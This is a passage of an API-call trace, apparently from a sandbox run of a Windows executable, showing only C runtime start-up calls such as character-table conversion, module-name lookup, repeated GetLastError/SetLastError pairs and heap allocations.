¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0042.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x03\xa1\x14\xc3\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0042.320] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487820, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.320] SetLastError (dwErrCode=0x0) [0042.320] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.321] SetLastError (dwErrCode=0x0) [0042.321] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x68) returned 0x231990 [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.327] GetLastError () returned 0x0 [0042.327] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.328] SetLastError (dwErrCode=0x0) [0042.328] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.332] SetLastError (dwErrCode=0x0) [0042.332] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] GetLastError () returned 0x0 [0042.333] SetLastError (dwErrCode=0x0) [0042.333] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x98) returned 0x231a00 [0042.333] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1f) returned 0x231aa0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x231ac8 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x37) returned 0x231b08 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x231b48 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x31) returned 0x231b90 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x17) returned 0x231bd0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x231bf0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x14) returned 0x231c20 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd) returned 0x231c40 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x25) returned 0x231c58 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x39) returned 0x231c88 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x231cd0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x17) returned 0x231cf0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe) returned 0x231d10 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x69) returned 0x231d28 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x231da0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1b) returned 0x231de8 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1d) returned 0x231e10 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x231e38 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x12) returned 0x231e88 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x231ea8 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1b) returned 0x231ec8 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x231ef0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x29) returned 0x231f20 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x231f58 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x41) returned 0x231f80 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x17) returned 0x231fd0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xf) returned 0x231ff0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x16) returned 0x232008 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x232028 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x29) returned 0x232060 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x15) returned 0x232098 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x2320b8 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x2320e0 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x12) returned 0x232118 [0042.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x232138 [0042.335] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x46) returned 0x232158 [0042.335] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2311f8 | out: hHeap=0x230000) returned 1 [0042.335] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x80) returned 0x2311f8 [0042.335] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2321a8 [0042.335] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.335] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x451aa9) returned 0x0 [0042.335] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2311f8) returned 0x80 [0042.335] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.337] SetLastError (dwErrCode=0x0) [0042.337] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.338] SetLastError (dwErrCode=0x0) [0042.338] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.339] GetLastError () returned 